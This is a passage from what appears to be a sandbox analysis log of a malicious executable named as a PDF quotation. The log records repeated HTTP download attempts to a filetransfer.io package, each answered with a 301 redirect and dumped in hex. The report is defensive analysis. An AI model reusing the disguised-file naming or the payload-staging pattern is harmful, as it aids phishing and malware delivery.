74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:31.777607918 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:31.971987963 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CwVoxkzs5pPUXJMyXDVoWBh85spkWb65mFheBnPrvtK6msvZ1C%2BNT41F1pco%2BOm7il8mrAygTfmJvl2Q7%2BDRMj73ekoKROY9CnI7Gspa8wpNr5SA7VHzhnhT7g%2FYXC8RX2s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d1beffa1760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:31.972949028 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:32.387284040 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5yIsRYVQehc%2FPF97uJwl81s2I%2BoG3VaAj6OofiD7aJilDKy%2Fmgywjt3Q7P55rhHtLTe%2Bpa5hYQ4GdHPw0sLiVo%2FSmRhobHh5nNRHN2SVxLXECUdxTLPEQYqKxmrriYLIZaY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d1d188d1760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:32.387577057 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5yIsRYVQehc%2FPF97uJwl81s2I%2BoG3VaAj6OofiD7aJilDKy%2Fmgywjt3Q7P55rhHtLTe%2Bpa5hYQ4GdHPw0sLiVo%2FSmRhobHh5nNRHN2SVxLXECUdxTLPEQYqKxmrriYLIZaY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d1d188d1760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:32.389456987 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:32.609117031 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8u4QN%2BAzPI21NupmANgt6Cth5OsJmhvIjZWlsJjY6ivofzMxk83%2FSZv5MEtM52DyC5bJMaijk422uPXlteUDeutvSKdzZWxfoEXb%2BAiz%2FzUez9ths8D0KpOVQhYk6BBRUo4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d1fb98c1760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:32.611373901 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:32.803087950 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VoNapn2jT9eQcvI%2BVrXSmin4tWPPLwuMG%2BB6iRW%2By%2BXf9glxb5YYG7wbwwndKosw65%2Bt%2BcGxsZ7xQlirPTC34fu1sOZJI3M1albkTOw9o9o87s25fxLbcYLgIGsjMhOrTfc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d211a011760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:32.805804968 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:33.000751972 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y8U%2FHeZEGu1VqOrk28DwrzkWrEfUuSn%2B4ZzAD3FEdCIQNLnLgAnA2V5zfXikXfjFGD1Fjpwxs9rrG40LuB6CisbYPsf8om%2FebdcmnwSpYzFum3dL%2F%2FtWZmfMIxZQTN%2BxmI8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d224a821760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:33.002985954 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:33.195538998 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1fH13O6ZpyZY0uXUUB7FGU6Qkm9%2BjPn2ovX%2FqxTkYYGK6mXi03OqHly7LvGH%2BVunpWP8c%2FCZsOZYU34HeeV9L7mFiyOBXA4foeyU%2FDlsoKWhf4RfZ4oD0mL2kn8pw%2F10uQU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d238b1e1760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:33.197671890 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:33.389724970 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YHdn6GNDZ3Aey8o4d7%2BisyqA7WnwOecH9zTZ3TbjlcycHTXTiaqJUZ6TBDsaTH9XghqM97SWXvhRh9UuKPDTnOzxjzZ07Ny9mcEn%2FVvNK6FMyqlRmMEhT%2B6hgCMwqpxFan0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d24cba81760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:33.392174959 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:33.583415031 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LBVchlVIZ5TUk7OSOhZqnCF2JuXa3eZVDn0mpxo7HiFjmSgnzQQVsr%2BPxPBrsN2k07CLuRCs%2Bi5YiYb6bRPl%2BIBkrlgsD%2FyQ4BxOGjZ%2FooHnCYIeP70VBfsQVk0qBTPC%2F78%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d25fc611760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:33.585087061 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:33.775710106 CEST	664	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n5JWsIq2FHBUj%2B9BHxEMVOyq%2BQD9camZo5VhncjFW7ztYrRuSbUoC%2FORkF9peTL7yrWF%2Fs%2BIDPOLAz9dlBKHqZL0Ee68RAu0LvLXkvGqN3Vuo07MLQzEli6Hlha9366LS%2FA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d272ce31760-EWR
Oct 4, 2024 11:23:34.049269915 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49838	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:34.060143948 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:34.708082914 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=akCYe1yeO7EPym%2FUUwale6yVUnJx6goMlBRJHDh2ZKR%2FnUD6yeto1TPHInGy7RNSy8rpY1eGeSOpYlu9FZqs7kplO8ni47pjiV1J3v%2BVoq2oCUOY9wFjicU525nUCmt5BMg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d2c6c6c42bf-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:34.710076094 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:34.905689001 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qV66UwCcGr6VPosSLw%2BeMN%2Brb27gC%2FT4xXo%2BauyKIBj5VkoZm8mH2rdbtu%2BSkBZwpBJDuG36hUlBiaPYP9%2FSPX3OBsoPW8Uq0QdjyQtsecj4J4YnmwIfemx6N%2FYFTXLIw5M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d2e3e0b42bf-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:34.914042950 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:35.109186888 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5g25bi%2FFF%2FWghj5x0DSPG0u%2B9I%2BrOvxG7FCr7O8pt%2FuqXXx9hpusR5mNVOdUllOJWU0KOIGp%2BDMbLVuMauGHCzuoJfLxbVjtXfAkpCQQH7qlrdGP8DVEbTpuWVUxRDX3jyQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d2f7ef042bf-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:35.111308098 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:35.306256056 CEST	865	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u7h1TxRn3wx5o7jpV59IhcyCh%2BM2i802kfKpqtb5sXeZ%2F4KKpeYIFZlvHZbgPO8r9cS8vPVAhexSMVwdUa2e%2FVTVwA2vANRn4mDoEU%2B6qDZK7uiey6SyFJnFFtEVp%2FoZlls%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d30bfd442bf-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:35.309083939 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:35.769752026 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3wxLMKuyKRNJh1kyWLJXvm6kS8UPmRB6mumZ6fK5zhRxc%2Bxp%2FWfGiZbfvycfaduTtvb3%2BmpLV5PnXbIzPKaIYzL4Oe3VDalmldaA7j9z1qoszvVf12%2FMd4pSJ3i%2F3yQ4n7s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d31f8a642bf-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 